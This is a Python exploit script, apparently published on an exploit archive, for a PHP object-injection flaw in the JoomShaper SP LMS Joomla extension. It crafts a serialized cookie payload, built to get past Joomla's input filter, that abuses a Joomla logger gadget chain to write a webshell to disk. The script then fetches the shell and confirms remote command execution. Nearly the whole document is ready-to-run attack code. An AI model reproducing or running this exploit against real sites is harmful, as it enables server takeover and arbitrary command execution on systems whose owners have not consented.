Exploit Ttile: Joomla Extension 4.1.4 - PHP Object injection

Affected : JoomShaper SP LMS <= 4.1.3

Fixed : JoomShaper SP LMS >= 4.1.4

Author : Amin İsayev / Proxima Cyber Security

Joomla version note:

RCE requires Joomla < 5.2.2

Joomla >= 5.2.2 patched FormattedtextLogger.__wakeup() which blocks the

gadget chain — PHP Object Injection still exists in com_splms but no

known public gadget chain leads to RCE on patched Joomla versions.

Attack chain:

lmsOrders cookie

→ unserialize(base64_decode($cookie)) [com_splms/models/cart.php:28]

→ FormattedtextLogger.__destruct() [Joomla gadget]

→ File::write($path, $format)

→ webshell on disk

Joomla Input filter note:

$cookie->get() uses 'cmd' filter by default → strips '/', '=', '+' from cookie.

Fix: pad format string so serialized total is divisible by 3 (no '=') and

iterate until base64 has no '/' (shifts encoding).

Format string uses hex2bin() to avoid forbidden chars: $ _ { } \n

Usage:

python3 CVE-2026-48909_exploit.py <target> <server_path>

server_path = absolute PHP-writable path on server

Examples :

/var/www/html/tmp/x.php

/home/USER/public_html/tmp/x.php

/var/www/vhosts/site.com/httpdocs/tmp/x.php

"""

import sys

import base64

import requests

import urllib3

urllib3.disable_warnings()

CART_PATH = "/index.php?option=com_splms&view=cart"

TIMEOUT = 15

WEBSHELL = '<?php fpassthru(popen($_GET["c"],"r"));?>'

─── PHP serializer ───────────────────────────────────────────────────────────

def _s(s: str) -> str:

return f's:{len(s.encode())}:"{s}";'

def _pk(name: str) -> str:

"""Protected property key (null-byte notation for string concat)"""

return f'\x00*\x00{name}'

def _build_serialized(webshell_path: str, fmt: str) -> str:

"""Build the raw PHP serialized string (not yet base64)."""

entry = (

'O:23:"Joomla\\CMS\\Log\\LogEntry":3:{'

's:4:"date";s:10:"1234567890";'

's:4:"time";s:1:"t";'

's:1:"f";s:3:"xxx";'

'}'

)

cn = 'Joomla\\CMS\\Log\\Logger\\FormattedtextLogger'

props = (

_s(_pk('defer')) + 'b:1;' +

_s(_pk('options')) + 'a:1:{s:16:"text_file_no_php";b:1;}' +

_s(_pk('path')) + _s(webshell_path) +

_s(_pk('deferredEntries')) + f'a:1:{{i:0;{entry}}}' +

_s(_pk('format')) + _s(fmt) +

_s(_pk('fields')) + 'a:0:{}'

)

return f'O:{len(cn.encode())}:"{cn}":6:{{{props}}}'

def build_payload(webshell_path: str, php_code: str) -> tuple[str, int]:

"""

Craft a base64 cookie payload that survives Joomla's 'cmd' Input filter.

The filter strips '/', '=' and '+'. We avoid these by:

1. Encoding php_code as hex → no '$', '_', '{', '}', '\\n' in format

2. Padding format to make total serialized length divisible by 3 → no '=' padding

3. Iterating pad size (by 3) until base64 contains no '/' chars

Returns (base64_payload, format_length).

"""

hex_code = php_code.encode().hex()

core = f'<?php fwrite(fopen("{webshell_path}","w"),hex2bin("{hex_code}"));'

pad_prefix = '/*'

pad_suffix = '*/;?>'

PAD_CHARS = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'

for target_fmt_len in range(200, 8000):

pad_len = target_fmt_len - len(core.encode()) - len(pad_prefix) - len(pad_suffix)

if pad_len < 0:

continue

Quick mod-3 check with first pad_char before trying all 62

fmt_probe = core + pad_prefix + PAD_CHARS[0] * pad_len + pad_suffix

ser_probe = _build_serialized(webshell_path, fmt_probe).encode('latin-1')

if len(ser_probe) % 3 != 0:

continue # no pad_char can fix mod-3 alignment for this length

for pad_char in PAD_CHARS:

fmt = core + pad_prefix + pad_char * pad_len + pad_suffix

serialized = _build_serialized(webshell_path, fmt)

ser_bytes = serialized.encode('latin-1')

b64 = base64.b64encode(ser_bytes).decode()

if '/' not in b64 and '+' not in b64:

return b64, len(fmt)

raise RuntimeError("Could not find filter-safe payload — try a different path")

─── Exploit ──────────────────────────────────────────────────────────────────

def _server_path_to_url(server_path: str) -> str:

"""Strip webroot prefix to get the URL path."""

import re

cPanel: /home[N]/USER/public_html/...

m = re.match(r'^/home\d/[^/]+/public_html(/.)', server_path)

if m:

return m.group(1)

Plesk: /var/www/vhosts/DOMAIN/httpdocs/...

m = re.match(r'^/var/www/vhosts/[^/]+/(?:httpdocs|htdocs|web)(/.*)', server_path)

if m:

return m.group(1)

Standard

for prefix in ('/var/www/html', '/var/www', '/srv/www', '/htdocs', '/www'):

if server_path.startswith(prefix):

return server_path[len(prefix):]

return server_path

def exploit(target: str, server_path: str) -> None:

url_path = _server_path_to_url(server_path)

cart_url = target.rstrip('/') + CART_PATH

shell_url = target.rstrip('/') + (url_path if url_path.startswith('/') else '/' + url_path)

session = requests.Session()

session.verify = False

session.headers.update({

'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 Chrome/120.0.0.0 Safari/537.36',

'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8',

'Accept-Language': 'en-US,en;q=0.5',

})

print(f"[*] Target : {target}")

print(f"[*] Shell path : {server_path}")

print(f"[*] Shell URL : {shell_url}")

print("[*] Building filter-safe payload...")

payload, fmt_len = build_payload(server_path, WEBSHELL)

print(f"[*] Format len : {fmt_len} bytes | Base64 len: {len(payload)}")

print(f"[*] Payload : {payload[:60]}...")

print()

try:

r = session.get(cart_url, cookies={'lmsOrders': payload}, timeout=TIMEOUT)

status = r.status_code

if status == 500:

print(f"[+] HTTP 500 — gadget triggered (FormattedtextLogger.__destruct)")

elif status == 200:

print(f"[?] HTTP 200 — payload may have been filtered or gadget not triggered")

else:

print(f"[?] HTTP {status}")

except requests.RequestException as e:

print(f"[!] Request failed: {e}")

return

import time; time.sleep(1)

Step 1: trigger the fopen/fwrite code in shell.php to overwrite with real webshell

print("[*] Step 1: triggering fopen/fwrite loader...")

try:

r1 = session.get(shell_url, timeout=TIMEOUT)

print(f"[*] Loader response: HTTP {r1.status_code} ({len(r1.text)} bytes)")

except requests.RequestException as e:

print(f"[!] Loader request failed: {e}")

Step 2: verify RCE

print("[*] Step 2: checking shell...")

try:

rv = session.get(shell_url + '?c=id', timeout=TIMEOUT)

if rv.status_code == 200 and 'uid=' in rv.text:

print(f"\n[+] SHELL ACTIVE!")

print(f"[+] id: {rv.text.strip()[:200]}")

print(f"\n curl -sk '{shell_url}?c=COMMAND'")

elif rv.status_code == 200 and len(rv.text.strip()) < 600:

print(f"\n[~] File accessible:")

print(f" {rv.text.strip()[:300]}")

print(f"\n Try again: curl -sk '{shell_url}?c=id'")

elif rv.status_code == 404:

print(f"[-] Shell not found (404) — file not written or wrong path")

print(f" Common paths: /tmp/x.php /images/x.php /cache/x.php")

elif rv.status_code == 403:

print(f"[~] 403 — file may exist but PHP not served there")

else:

print(f"[-] HTTP {rv.status_code}")

except requests.RequestException as e:

print(f"[!] Shell check failed: {e}")

def main():

if len(sys.argv) < 3:

print(__doc__)

sys.exit(1)

exploit(sys.argv[1], sys.argv[2])

if __name__ == '__main__':

main()